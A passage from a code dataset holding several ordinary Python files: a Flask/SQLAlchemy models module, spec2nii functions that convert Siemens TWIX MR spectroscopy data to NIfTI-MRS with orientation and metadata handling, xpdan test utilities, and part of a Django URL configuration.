labelright=False)\nplt.xlabel('gradTy')\nplt.ylabel('y')\n# plt.title('Integral approximation')\nplt.legend(loc='lower left')\nplt.show()\n\n\n","sub_path":"HW/HW04/edge/str20.py","file_name":"str20.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"334511970","text":"from app import db\nfrom datetime import datetime\nimport re\nfrom sqlalchemy import exc\nimport errors\n\n\ndef slugify(_string):\n \"\"\"Функция для получения slug строки\"\"\"\n pattern = r'[^\\w+]'\n return re.sub(pattern, '-', _string)\n\n\nclass BaseModelMixin:\n\n def add(self):\n db.session.add(self)\n try:\n db.session.commit()\n except exc.IntegrityError:\n raise errors.BadLuck\n\n def delete(self):\n db.session.delete(self)\n try:\n db.session.commit()\n except exc.IntegrityError:\n raise errors.BadLuck\n\n\nclass Advertisement(db.Model, BaseModelMixin):\n __tablename__ = 'advertisements'\n\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(64), nullable=False)\n slug = db.Column(db.String(64), unique=True)\n text = db.Column(db.Text, nullable=False)\n created = db.Column(db.DateTime, default=datetime.now())\n user_id = db.Column(db.Integer, db.ForeignKey(\"users.id\"))\n\n def __init__(self, *args, **kwargs):\n \"\"\"Конструктор класса\"\"\"\n super(Advertisement, self).__init__(*args, **kwargs)\n self.generate_slug()\n\n def generate_slug(self):\n \"\"\"Получаем slug заголовка объявления\"\"\"\n self.slug = slugify(self.title)\n\n def __repr__(self):\n return f''\n\n\nclass User(db.Model, BaseModelMixin):\n __tablename__ = 'users'\n\n id = db.Column(db.Integer, primary_key=True)\n public_id = db.Column(db.String(50), unique=True)\n username = db.Column(db.String(64), unique=True)\n email = db.Column(db.String(120), unique=True)\n password = db.Column(db.String(128), unique=True)\n advertisements = db.relationship(Advertisement, backref='user')\n\n def __init__(self, *args, **kwargs):\n \"\"\"Конструктор класса\"\"\"\n super(User, self).__init__(*args, **kwargs)\n\n def __repr__(self):\n return f''\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"439951331","text":"\"\"\" spec2nii module containing functions specific to Siemens TWIX format\nAuthor: William Clarke \nCopyright (C) 2020 University of Oxford\n\"\"\"\nimport spec2nii.GSL.gslfunctions as GSL\nimport numpy as np\nfrom spec2nii.dcm2niiOrientation.orientationFuncs import dcm_to_nifti_orientation\nfrom spec2nii import nifti_mrs\nfrom datetime import datetime\nfrom os.path import basename\nfrom spec2nii import __version__ as spec2nii_ver\n\n\n# Define some default dimension information.\n# Default spatial x,y,z is Lin, Phs, Seg in VB but in VE it is Lin, Par, Seg\n# In VB set is used as the repetition direction, whilst in VE Ave is used.\n# However it appears some CMRR sequences on VE still use the VB.\ndefaults = {'vb': {'Col': 'time',\n 'Lin': 'x',\n 'Phs': 'y',\n 'Seg': 'z',\n 'Cha': 'DIM_COIL',\n 'Set': 'DIM_DYN',\n 'Rep': 'DIM_DYN'},\n 'vd': {'Col': 'time',\n 'Lin': 'x',\n 'Par': 'y',\n 'Seg': 'z',\n 'Cha': 'DIM_COIL',\n 'Ave': 'DIM_DYN',\n 'Set': 'DIM_DYN',\n 'Rep': 'DIM_DYN',\n 'Eco': 'DIM_EDIT'}}\n\n\ndef process_twix(twixObj, base_name_out, name_in, dataKey, dim_overides, quiet=False, verbose=False, remove_os=False):\n \"\"\"Process a twix file. Identify type of MRS and then pass to the relavent function.\"\"\"\n\n if twixObj.hdr.Meas.lFinalMatrixSizePhase \\\n and twixObj.hdr.Meas.lFinalMatrixSizeRead:\n n_voxels = twixObj.hdr.Meas.lFinalMatrixSizeSlice \\\n * twixObj.hdr.Meas.lFinalMatrixSizePhase \\\n * twixObj.hdr.Meas.lFinalMatrixSizeRead\n elif twixObj.hdr.Meas.lFinalMatrixSizeSlice:\n n_voxels = twixObj.hdr.Meas.lFinalMatrixSizeSlice\n else:\n # If lFinalMatrixSize{Slice,Phase,Read} are all empty\n # Either unlocalised or unusually filled in headers.\n # Assume 1 voxel for either SVS or unlocalised case.\n # RM's SPECIAL sequence hits this. See https://github.com/wexeee/spec2nii/issues/6.\n n_voxels = 1\n\n if n_voxels > 1:\n return process_mrsi(twixObj, base_name_out, name_in, dataKey, quiet=quiet, verbose=verbose)\n else:\n return process_svs(\n twixObj,\n base_name_out,\n name_in,\n dataKey,\n dim_overides,\n remove_os,\n quiet=quiet,\n verbose=verbose)\n\n\ndef process_mrsi(twixObj, base_name_out, name_in, dataKey, quiet=False, verbose=False):\n \"\"\"Identify correct MRSI pathway, either simple internal reconstruction or to ismrmrd\"\"\"\n raise NotImplementedError('MRSI pathway not yet implemented.')\n\n\ndef process_svs(twixObj, base_name_out, name_in, dataKey, dim_overides, remove_os, quiet=False, verbose=False):\n \"\"\"Process a twix file into a NIfTI MRS file.\n Inputs:\n twixObj: object from mapVBVD.\n base_name_out: Core string of output file.\n name_in: name of input file.\n dataKey: eval info flag name,\n remove_os: Remove time-doain overrides\n quiet: True to suppress text output.\n \"\"\"\n\n # Set squeeze data\n twixObj[dataKey].flagRemoveOS = remove_os\n twixObj[dataKey].squeeze = True\n squeezedData = twixObj[dataKey]['']\n\n if not quiet:\n print(f'Found data of size {squeezedData.shape}.')\n\n # Conjugate the data from the twix file to match the phase conventions of the format\n squeezedData = squeezedData.conj()\n\n # Perform Orientation calculations\n # 1) Calculate dicom like imageOrientationPatient,imagePositionPatient,pixelSpacing and slicethickness\n orient = twix2DCMOrientation(twixObj['hdr'], verbose=verbose)\n imageOrientationPatient, imagePositionPatient, pixelSpacing, slicethickness = orient\n\n # 2) In the style of dcm2niix calculate the affine matrix\n orientation = dcm_to_nifti_orientation(imageOrientationPatient,\n imagePositionPatient,\n np.append(pixelSpacing, slicethickness),\n (1, 1, 1),\n verbose=verbose)\n\n # # 2) in style of dcm2niix\n # # a) calculate Q44\n # xyzMM = np.append(pixelSpacing, slicethickness)\n # Q44 = nifti_dicom2mat(imageOrientationPatient, imagePositionPatient, xyzMM, verbose=verbose)\n\n # # b) calculate nifti quaternion parameters\n # Q44[:2, :] *= -1\n\n # # 3) place in data class for nifti orientation parameters\n # orientation = NIFTIOrient(Q44)\n\n # Extract dwellTime\n dwellTime = twixObj['hdr']['MeasYaps'][('sRXSPEC', 'alDwellTime', '0')] / 1E9\n if remove_os:\n dwellTime *= 2\n\n # Extract metadata\n meta_obj = extractTwixMetadata(twixObj['hdr'], basename(twixObj[dataKey].filename))\n\n # Identify what those indicies are\n # If cha is one: loop over 3rd and higher dims and make 2D images\n # If cha isn't present one: loop over 2nd and higher dims and make 1D images\n # Don't write here, just fill up class property lists for later writing\n if base_name_out:\n mainStr = base_name_out\n else:\n mainStr = name_in.split('.')[0]\n\n dims = twixObj[dataKey].sqzDims\n if dims[0] != 'Col':\n # This is very unlikely to occur but would cause complete failure.\n raise ValueError('Col is expected to be the first dimension in the Twix file, it is not.')\n\n curr_defaults = defaults[twixObj[dataKey].softwareVersion]\n\n dim_order = twixObj[dataKey].sqzDims[1:]\n dim_tags = []\n unknown_counter = 0\n for do in dim_order:\n if do in curr_defaults.keys():\n dim_tags.append(curr_defaults[do])\n else:\n dim_tags.append(f'DIM_USER_{unknown_counter}')\n unknown_counter += 1\n\n # Now process the user specified order\n for dim_index in range(3):\n if dim_overides['dims'][dim_index]:\n if dim_overides['dims'][dim_index] in dim_order:\n curr_index = dim_order.index(dim_overides['dims'][dim_index])\n dim_order[dim_index], dim_order[curr_index] = dim_order[curr_index], dim_order[dim_index]\n dim_tags[dim_index], dim_tags[curr_index] = dim_tags[curr_index], dim_tags[dim_index]\n else:\n dim_order.insert(dim_index, dim_overides['dims'][0])\n if dim_overides['dims'][dim_index] in curr_defaults.keys():\n dim_tags.insert(dim_index, curr_defaults['tags'][dim_overides['dims'][dim_index]])\n else:\n dim_tags.insert(dim_index, f'DIM_USER_{unknown_counter}')\n unknown_counter += 1\n\n # Override with any of the specified tags\n for idx, tag in enumerate(dim_overides['tags']):\n if tag:\n dim_tags[idx] = tag\n\n # Permute the order of dimension in the data\n orignal = list(range(1, squeezedData.ndim))\n new = [twixObj[dataKey].sqzDims.index(dd) for dd in dim_order]\n reord_data = np.moveaxis(squeezedData, orignal, new)\n\n # Now assemble data\n nifit_mrs_out = []\n filename_out = []\n if reord_data.ndim <= 4:\n # Pad with three singleton dimensions (x,y,z)\n newshape = (1, 1, 1) + reord_data.shape\n\n nifit_mrs_out.append(assemble_nifti_mrs(reord_data.reshape(newshape),\n dwellTime,\n orientation,\n meta_obj,\n dim_tags))\n\n filename_out.append(mainStr)\n\n else:\n # loop over any dimensions over 4\n for index in np.ndindex(reord_data.shape[4:]):\n modIndex = (slice(None), slice(None), slice(None), slice(None)) + index\n\n # Pad with three singleton dimensions (x,y,z)\n newshape = (1, 1, 1) + reord_data[modIndex].shape\n\n nifit_mrs_out.append(\n assemble_nifti_mrs(reord_data[modIndex].reshape(newshape),\n dwellTime,\n orientation,\n meta_obj,\n dim_tags))\n\n # Create strings\n out_name = f'{mainStr}'\n for idx, ii in enumerate(index):\n indexStr = dim_order[3 + idx]\n out_name += f'_{indexStr}{ii :03d}'\n\n filename_out.append(out_name)\n\n return nifit_mrs_out, filename_out\n\n\ndef assemble_nifti_mrs(data, dwellTime, orientation, meta_obj, dim_tags):\n\n for idx, dt in zip(range(data.ndim - 4), dim_tags):\n meta_obj.set_dim_info(idx, dt)\n\n return nifti_mrs.NIfTI_MRS(data, orientation.Q44, dwellTime, meta_obj)\n\n\ndef twix2DCMOrientation(mapVBVDHdr, verbose=False):\n \"\"\" Convert twix orientation information to DICOM equivalent.\n\n Convert orientation to DICOM imageOrientationPatient, imagePositionPatient,\n pixelSpacing and sliceThickness field values.\n\n Args:\n mapVBVDHdr (dict): Header info interpreted by pymapVBVD\n verbose (bool,optionl)\n Returns:\n imageOrientationPatient\n imagePositionPatient\n pixelSpacing\n sliceThickness\n\n \"\"\"\n # Orientation information\n if ('sSpecPara', 'sVoI', 'sNormal', 'dSag') in mapVBVDHdr['MeasYaps']:\n NormaldSag = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sNormal', 'dSag')]\n else:\n NormaldSag = 0.0\n\n if ('sSpecPara', 'sVoI', 'sNormal', 'dCor') in mapVBVDHdr['MeasYaps']:\n NormaldCor = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sNormal', 'dCor')]\n else:\n NormaldCor = 0.0\n\n if ('sSpecPara', 'sVoI', 'sNormal', 'dTra') in mapVBVDHdr['MeasYaps']:\n NormaldTra = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sNormal', 'dTra')]\n else:\n NormaldTra = 0.0\n\n if ('sSpecPara', 'sVoI', 'dInPlaneRot') in mapVBVDHdr['MeasYaps']:\n inplaneRotation = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'dInPlaneRot')]\n else:\n inplaneRotation = 0.0\n\n TwixSliceNormal = np.array([NormaldSag, NormaldCor, NormaldTra], dtype=float)\n\n RoFoV = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'dReadoutFOV')]\n PeFoV = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'dPhaseFOV')]\n\n dColVec_vector, dRowVec_vector = GSL.calc_prs(TwixSliceNormal, inplaneRotation, verbose)\n\n imageOrientationPatient = np.stack((dRowVec_vector, dColVec_vector), axis=0)\n\n pixelSpacing = np.array([PeFoV, RoFoV]) # [RoFoV PeFoV];\n sliceThickness = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'dThickness')]\n\n # Position info (including table position)\n if ('sSpecPara', 'sVoI', 'sPosition', 'dSag') in mapVBVDHdr['MeasYaps']:\n PosdSag = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sPosition', 'dSag')]\n else:\n PosdSag = 0.0\n\n if ('sSpecPara', 'sVoI', 'sPosition', 'dCor') in mapVBVDHdr['MeasYaps']:\n PosdCor = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sPosition', 'dCor')]\n else:\n PosdCor = 0.0\n\n if ('sSpecPara', 'sVoI', 'sPosition', 'dTra') in mapVBVDHdr['MeasYaps']:\n PosdTra = mapVBVDHdr['MeasYaps'][('sSpecPara', 'sVoI', 'sPosition', 'dTra')]\n else:\n PosdTra = 0.0\n\n if ('lScanRegionPosSag',) in mapVBVDHdr['MeasYaps']:\n PosdSag += mapVBVDHdr['MeasYaps'][('lScanRegionPosSag',)]\n if ('lScanRegionPosCor',) in mapVBVDHdr['MeasYaps']:\n PosdCor += mapVBVDHdr['MeasYaps'][('lScanRegionPosCor',)]\n if ('lScanRegionPosTra',) in mapVBVDHdr['MeasYaps']:\n PosdTra += mapVBVDHdr['MeasYaps'][('lScanRegionPosTra',)]\n\n basePosition = np.array([PosdSag, PosdCor, PosdTra], dtype=float)\n imagePositionPatient = basePosition\n if verbose:\n print(f'imagePositionPatient is {imagePositionPatient.ravel()}')\n print(f'imageOrientationPatient is \\n{imageOrientationPatient}')\n print(f'{imageOrientationPatient.ravel()}')\n print(f'pixelSpacing is {pixelSpacing}')\n\n return imageOrientationPatient, imagePositionPatient, pixelSpacing, sliceThickness\n\n\ndef examineTwix(twixObj, fileName, mraid):\n \"\"\" Print formated twix contents\"\"\"\n\n print(f'Contents of file: {fileName}')\n\n if isinstance(twixObj, list):\n print(f'Multiraid file, {len(twixObj)} files found.')\n print(f'Selecting file {mraid}. Use -m option to change.')\n twixObj = twixObj[mraid - 1]\n\n evalInfoFlags = twixObj.keys()\n evalInfoFlags = [i for i in evalInfoFlags if i != 'hdr']\n\n print('The file contains these evalinfo flags with dimensions and sizes as follows:')\n for ev in evalInfoFlags:\n twixObj[ev].flagRemoveOS = False\n twixObj[ev].squeeze = True\n tmpSqzSize = twixObj[ev].sqzSize\n tmpSqzDims = ', '.join(twixObj[ev].sqzDims)\n print(f'{ev: <15}:\\t{tmpSqzDims: <20}\\t{tmpSqzSize}')\n\n\ndef extractTwixMetadata(mapVBVDHdr, orignal_file):\n \"\"\" Extract information from the pymapVBVD header to insert into the json sidecar.\n\n Args:\n dcmdata (dict): Twix headers\n Returns:\n obj (hdr_ext): NIfTI MRS hdr ext object.\n \"\"\"\n\n # Extract required metadata and create hdr_ext object\n obj = nifti_mrs.hdr_ext(mapVBVDHdr['Meas'][('Frequency')] / 1E6,\n mapVBVDHdr['Meas'][('ResonantNucleus')])\n\n # Standard defined metadata\n # # 5.1 MRS specific Tags\n # 'EchoTime'\n obj.set_standard_def('EchoTime', mapVBVDHdr['Phoenix'][('alTE', '0')] * 1E-6)\n # 'RepetitionTime'\n if ('TR_Time') in mapVBVDHdr['Meas']:\n tr = mapVBVDHdr['Meas'][('TR_Time')] / 1E6\n else:\n tr = mapVBVDHdr['Meas'][('TR')] / 1E6\n obj.set_standard_def('RepetitionTime', float(tr))\n # 'InversionTime'\n if ('InversionTime') in mapVBVDHdr['Meas']:\n obj.set_standard_def('InversionTime', float(mapVBVDHdr['Meas'][('TI_Time')]))\n # 'MixingTime'\n # 'ExcitationFlipAngle'\n obj.set_standard_def('ExcitationFlipAngle', float(mapVBVDHdr['Meas'][('FlipAngle')]))\n # 'TxOffset'\n obj.set_standard_def('TxOffset', empty_str_to_0float(mapVBVDHdr['Meas'][('dDeltaFrequency')]))\n # 'VOI'\n # 'WaterSuppressed'\n # TO DO\n # 'WaterSuppressionType'\n # 'SequenceTriggered'\n # # 5.2 Scanner information\n # 'Manufacturer'\n obj.set_standard_def('Manufacturer', mapVBVDHdr['Dicom'][('Manufacturer')])\n # 'ManufacturersModelName'\n obj.set_standard_def('ManufacturersModelName', mapVBVDHdr['Dicom'][('ManufacturersModelName')])\n # 'DeviceSerialNumber'\n obj.set_standard_def('DeviceSerialNumber', str(mapVBVDHdr['Dicom'][('DeviceSerialNumber')]))\n # 'SoftwareVersions'\n obj.set_standard_def('SoftwareVersions', mapVBVDHdr['Dicom'][('SoftwareVersions')])\n # 'InstitutionName'\n obj.set_standard_def('InstitutionName', mapVBVDHdr['Dicom'][('InstitutionName')])\n # 'InstitutionAddress'\n obj.set_standard_def('InstitutionAddress', mapVBVDHdr['Dicom'][('InstitutionAddress')])\n # 'TxCoil'\n # 'RxCoil'\n rx_coil_1 = ('sCoilSelectMeas', 'aRxCoilSelectData', '0', 'asList', '0', 'sCoilElementID', 'tCoilID')\n rx_coil_2 = ('asCoilSelectMeas', '0', 'asList', '0', 'sCoilElementID', 'tCoilID')\n if rx_coil_1 in mapVBVDHdr['MeasYaps']:\n obj.set_standard_def('RxCoil', mapVBVDHdr['MeasYaps'][rx_coil_1])\n elif rx_coil_2 in mapVBVDHdr['MeasYaps']:\n obj.set_standard_def('RxCoil', mapVBVDHdr['MeasYaps'][rx_coil_2])\n # # 5.3 Sequence information\n # 'SequenceName'\n obj.set_standard_def('SequenceName', mapVBVDHdr['Meas'][('tSequenceString')])\n # 'ProtocolName'\n obj.set_standard_def('ProtocolName', mapVBVDHdr['Dicom'][('tProtocolName')])\n # # 5.4 Sequence information\n # 'PatientPosition'\n obj.set_standard_def('PatientPosition', mapVBVDHdr['Meas'][('PatientPosition')])\n # 'PatientName'\n obj.set_standard_def('PatientName', mapVBVDHdr['Meas'][('PatientName')])\n # 'PatientID'\n # 'PatientWeight'\n obj.set_standard_def('PatientWeight', mapVBVDHdr['Meas'][('flUsedPatientWeight')])\n # 'PatientDoB'\n obj.set_standard_def('PatientDoB', str(mapVBVDHdr['Meas'][('PatientBirthDay')]))\n # 'PatientSex'\n if mapVBVDHdr['Meas'][('PatientSex')] == 1:\n sex_str = 'M'\n elif mapVBVDHdr['Meas'][('PatientSex')] == 2:\n sex_str = 'F'\n else:\n sex_str = 'O'\n obj.set_standard_def('PatientSex', sex_str)\n # # 5.5 Provenance and conversion metadata\n # 'ConversionMethod'\n obj.set_standard_def('ConversionMethod', f'spec2nii v{spec2nii_ver}')\n # 'ConversionTime'\n conversion_time = datetime.now().isoformat(sep='T', timespec='milliseconds')\n obj.set_standard_def('ConversionTime', conversion_time)\n # 'OriginalFile'\n obj.set_standard_def('OriginalFile', [orignal_file, ])\n # # 5.6 Spatial information\n # 'kSpace'\n obj.set_standard_def('kSpace', [False, False, False])\n\n # Some additional information\n obj.set_user_def(key='PulseSequenceFile',\n value=mapVBVDHdr['Config'][('SequenceFileName')],\n doc='Sequence binary path.')\n obj.set_user_def(key='IceProgramFile',\n value=mapVBVDHdr['Meas'][('tICEProgramName')],\n doc='Reconstruction binary path.')\n\n return obj\n\n\ndef empty_str_to_0float(value):\n if value == '':\n return 0.0\n else:\n return value\n\n\ndef _try_int(value):\n try:\n return int(value)\n except ValueError:\n return value\n","sub_path":"spec2nii/twixfunctions.py","file_name":"twixfunctions.py","file_ext":"py","file_size_in_byte":17505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"459059127","text":"##############################################################################\n#\n# xpdan by Billinge Group\n# Simon J. L. Billinge sb2896@columbia.edu\n# (c) 2016 trustees of Columbia University in the City of\n# New York.\n# All rights reserved\n#\n# File coded by: Christopher J. Wright\n#\n# See AUTHORS.txt for a list of people who contributed.\n# See LICENSE.txt for license information.\n#\n##############################################################################\nimport tempfile\nfrom itertools import product\nfrom uuid import uuid4\n\nimport numpy as np\n\nfrom bluesky.examples import ReaderWithRegistry\nfrom bluesky.plans import count\n\npyFAI_calib = {'calibrant_name': 'Ni24',\n 'centerX': 997.79605730878336,\n 'centerY': 1005.4468181991356,\n 'dSpacing': [2.0345823486199999,\n 1.761935,\n 1.24592214845,\n 1.0625259782900001,\n 1.0172911743099999,\n 0.88100000000000001,\n 0.80846104616000003,\n 0.78799035527100003,\n 0.71933348779700002,\n 0.67819411620799996,\n 0.62296107422500002,\n 0.59566471873299998,\n 0.58733333333299997,\n 0.55719332372200003,\n 0.53740496185200004,\n 0.53126298914600001,\n 0.50864558715599995,\n 0.49345870161099997,\n 0.48869087287399998,\n 0.47091430825000002,\n 0.45878572229600001,\n 0.4405,\n 0.43052512191199999,\n 0.42734777131399998],\n 'detector': 'Perkin detector',\n 'directDist': 218.82105982728712,\n 'dist': 0.21881648512877194,\n 'is_pytest': True,\n 'pixel1': 0.0002,\n 'pixel2': 0.0002,\n 'pixelX': 200.0,\n 'pixelY': 200.0,\n 'poni1': 0.20146140778233776,\n 'poni2': 0.20092436456054058,\n 'poni_file_name': '/home/timothy/xpdUser/config_base\\\n /20170822-190241_pyFAI_calib_Ni24.poni',\n 'rot1': 0.0062387227662129112,\n 'rot2': -0.0017002217339242484,\n 'rot3': 2.7628252550568797e-08,\n 'splineFile': None,\n 'tilt': 0.37048878612364949,\n 'tiltPlanRotation': -164.75544250965393,\n 'time': '20170822-190241',\n 'wavelength': 1.832e-11}\n\n\ndef insert_imgs(RE, reg, n, shape, save_dir=tempfile.mkdtemp(), **kwargs):\n \"\"\"\n Insert images into mds and fs for testing\n\n Parameters\n ----------\n RE: bluesky.run_engine.RunEngine instance\n reg: Registry instance\n n: int\n Number of images to take\n shape: tuple of ints\n The shape of the resulting images\n save_dir\n\n Returns\n -------\n\n \"\"\"\n # Create detectors\n dark_det = ReaderWithRegistry('pe1_image',\n {'pe1_image': lambda: np.ones(shape)},\n reg=reg, save_path=save_dir)\n light_det = ReaderWithRegistry('pe1_image',\n {'pe1_image': lambda: np.ones(shape)},\n reg=reg, save_path=save_dir)\n beamtime_uid = str(uuid4())\n base_md = dict(beamtime_uid=beamtime_uid,\n calibration_md=pyFAI_calib,\n bt_wavelength=0.1847,\n **kwargs)\n\n # Insert the dark images\n dark_md = base_md.copy()\n dark_md.update(name='test-dark', is_dark=True)\n\n dark_uid = RE(count([dark_det], num=1), **dark_md)\n\n # Insert the light images\n light_md = base_md.copy()\n light_md.update(name='test', sc_dk_field_uid=dark_uid)\n uid = RE(count([light_det], num=n), **light_md)\n\n return uid\n\n\nclass PDFGetterShim:\n def __init__(self):\n self.config = {'qmax': 'testing'}\n self.fq = np.ones(10), np.ones(10)\n\n def __call__(self, *args, **kwargs):\n print(\"This is a testing shim for PDFgetx if you see this message then\"\n \"you don't have PDFgetx3 installed. \"\n \"The data that comes from this is for testing purposes only\"\n \"and has no bearing on reality\")\n return np.ones(10), np.ones(10)\n\n\nintegrate_params = [\n 'polarization_factor',\n 'mask_setting',\n 'mask_kwargs',\n]\ngood_kwargs = [\n (.99,),\n (\n # 'default',\n # 'auto',\n None,\n ),\n [None,\n # {'alpha': 10}\n ],\n]\n\nbad_integrate_params = ['polarization_factor',\n 'mask_setting',\n 'mask_kwargs']\n\nbad_kwargs = [['str'] for i in range(len(bad_integrate_params))]\n\nintegrate_kwarg_values = product(*good_kwargs)\nintegrate_kwargs = []\nfor vs in integrate_kwarg_values:\n d = {k: v for (k, v) in zip(integrate_params, vs)}\n integrate_kwargs.append((d, False))\n\n# for vs in bad_kwargs:\n# d = {k: v for (k, v) in zip(bad_integrate_params, vs)}\n# integrate_kwargs.append((d, True))\n\nsave_tiff_kwargs = []\nfor d in [save_tiff_kwargs, integrate_kwargs]:\n for d2 in d:\n d2[0]['image_data_key'] = 'pe1_image'\n","sub_path":"xpdan/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"495724745","text":"from viewflow.flow.viewset import FlowViewSet\nfrom django.contrib.auth.views import LogoutView\nfrom django.urls import include, path, register_converter\n\nfrom web.domains.application._import import views as imp_app_views\nfrom web.domains.commodity import views as commodity_views\nfrom web.domains.constabulary import views as constabulary_views\nfrom web.domains.country.views import (\n CountryCreateView, CountryEditView, CountryGroupCreateView,\n CountryGroupEditView, CountryGroupView, CountryListView,\n CountryTranslationCreateUpdateView, CountryTranslationSetEditView,\n CountryTranslationSetListView)\nfrom web.domains.exporter.views import (ExporterCreateView, ExporterDetailView,\n ExporterEditView, ExporterListView)\nfrom web.domains.firearms.views import (ObsoleteCalibreGroupCreateView,\n ObsoleteCalibreGroupDetailView,\n ObsoleteCalibreGroupEditView,\n ObsoleteCalibreListView)\nfrom web.domains.importer.views import (ImporterCreateView, ImporterDetailView,\n ImporterEditView, ImporterListView)\nfrom web.domains.legislation.views import (ProductLegislationCreateView,\n ProductLegislationDetailView,\n ProductLegislationListView,\n ProductLegislationUpdateView)\nfrom web.domains.team.views import TeamEditView, TeamListView\nfrom web.domains.template.views import TemplateListView\nfrom web.domains.user.views import UsersListView, current_user_details\nfrom web.domains.user.views import user_details\nfrom web.domains.workbasket.views import workbasket, take_ownership\nfrom . import converters\nfrom .auth import views as auth_views\nfrom .domains.case.access.views import AccessRequestCreatedView\nfrom .flows import AccessRequestFlow\nfrom .views import home\n\nregister_converter(converters.NegativeIntConverter, 'negint')\n\naccess_request_urls = FlowViewSet(AccessRequestFlow).urls\n\nurlpatterns = [\n path('', auth_views.LoginView.as_view(), name='login'),\n path('logout/', LogoutView.as_view(), name='logout'),\n path('register/', auth_views.register, name='register'),\n path('reset-password/', auth_views.reset_password, name='reset-password'),\n path('home/', home, name='home'),\n path('set-password/', auth_views.set_password, name='set-password'),\n path('user/password/', auth_views.change_password, name='change-password'),\n path('user/', current_user_details, name='current-user-details'),\n path('users/', UsersListView.as_view(), name='users-list'),\n path('users//', user_details, name='user-details'),\n path('users//edit/', user_details),\n path('workbasket/', workbasket, name='workbasket'),\n\n # Template Management\n path('template/', TemplateListView.as_view(), name='template-list'),\n\n # Teams Management\n path('teams/', TeamListView.as_view(), name='team-list'),\n path('teams//edit/', TeamEditView.as_view(), name='team-edit'),\n\n # Constabularies Management\n path('constabulary/',\n constabulary_views.ConstabularyListView.as_view(),\n name='constabulary-list'),\n path('constabulary//',\n constabulary_views.ConstabularyDetailView.as_view(),\n name='constabulary-detail'),\n path('constabulary/new/',\n constabulary_views.ConstabularyCreateView.as_view(),\n name='constabulary-new'),\n path('constabulary//edit/',\n constabulary_views.ConstabularyEditView.as_view(),\n name='constabulary-edit'),\n\n # Commodities Management\n path('commodity/',\n commodity_views.CommodityListView.as_view(),\n name='commodity-list'),\n path('commodity//',\n commodity_views.CommodityDetailView.as_view(),\n name='commodity-detail'),\n path('commodity//edit/',\n commodity_views.CommodityEditView.as_view(),\n name='commodity-edit'),\n path('commodity/new/',\n commodity_views.CommodityCreateView.as_view(),\n name='commodity-new'),\n\n # Commodity Groups Management\n path('commodity/group/',\n commodity_views.CommodityGroupListView.as_view(),\n name='commodity-group-list'),\n path('commodity/group//',\n commodity_views.CommodityGroupDetailView.as_view(),\n name='commodity-group-detail'),\n path('commodity/group//edit/',\n commodity_views.CommodityGroupEditView.as_view(),\n name='commodity-group-edit'),\n path('commodity/group/new/',\n commodity_views.CommodityGroupCreateView.as_view(),\n name='commodity-group-new'),\n\n # Countries management\n path('country/', CountryListView.as_view(), name='country-list'),\n path('country/new/', CountryCreateView.as_view(), name='country-new'),\n path('country//edit/',\n CountryEditView.as_view(),\n name='country-edit'),\n\n # Country Groups Management\n path('country/groups/',\n CountryGroupView.as_view(),\n name='country-group-view'),\n path('country/groups//',\n CountryGroupView.as_view(),\n name='country-group-view'),\n path('country/groups/new/',\n CountryGroupCreateView.as_view(),\n name='country-group-new'),\n path('country/groups//edit/',\n CountryGroupEditView.as_view(),\n name='country-group-edit'),\n\n # Coutry translation sets\n path('country/translations/',\n CountryTranslationSetListView.as_view(),\n name='country-translation-set-list'),\n path('country/translations//edit/',\n CountryTranslationSetEditView.as_view(),\n name='country-translation-set-edit'),\n path('country/translations//edit/',\n CountryTranslationCreateUpdateView.as_view(),\n name='country-translation-edit'),\n\n # Product legislation\n path('product-legislation/',\n ProductLegislationListView.as_view(),\n name='product-legislation-list'),\n path('product-legislation/new/',\n ProductLegislationCreateView.as_view(),\n name='product-legislation-new'),\n path('product-legislation//',\n ProductLegislationDetailView.as_view(),\n name='product-legislation-detail'),\n path('product-legislation//edit/',\n ProductLegislationUpdateView.as_view(),\n name='product-legislation-edit'),\n\n # Obsolete Calibres Management\n path('obsolete-calibre/',\n ObsoleteCalibreListView.as_view(),\n name='obsolete-calibre-list'),\n path('obsolete-calibre/new',\n ObsoleteCalibreGroupCreateView.as_view(),\n name='obsolete-calibre-new'),\n path('obsolete-calibre//edit/',\n ObsoleteCalibreGroupEditView.as_view(),\n name='obsolete-calibre-edit'),\n path('obsolete-calibre//',\n ObsoleteCalibreGroupDetailView.as_view(),\n name='obsolete-calibre-view'),\n\n # Importer\n path('importer/', ImporterListView.as_view(), name='importer-list'),\n path('importer//edit/',\n ImporterEditView.as_view(),\n name='importer-edit'),\n path('importer/new/', ImporterCreateView.as_view(), name='importer-new'),\n path('importer//',\n ImporterDetailView.as_view(),\n name='importer-view'),\n\n # Importer Agents\n path('importer//agent//edit',\n ImporterEditView.as_view(),\n name='importer-agent-edit'),\n path('importer//agent/new/',\n ImporterCreateView.as_view(),\n name='importer-agent-new'),\n\n # Exporter\n path('exporter/', ExporterListView.as_view(), name='exporter-list'),\n path('exporter//edit/',\n ExporterEditView.as_view(),\n name='exporter-edit'),\n path('exporter/new/', ExporterCreateView.as_view(), name='exporter-new'),\n path('exporter//',\n ExporterDetailView.as_view(),\n name='exporter-view'),\n\n # Access Request\n path('access/', include(access_request_urls)),\n path(\n \"access-created/\",\n AccessRequestCreatedView.as_view(), name=\"access_request_created\"\n ),\n path(\n \"take-ownership//\",\n take_ownership, name=\"take_ownership\"\n ),\n\n # Import Application\n path('import/apply/',\n imp_app_views.ImportApplicationCreateView.as_view(),\n 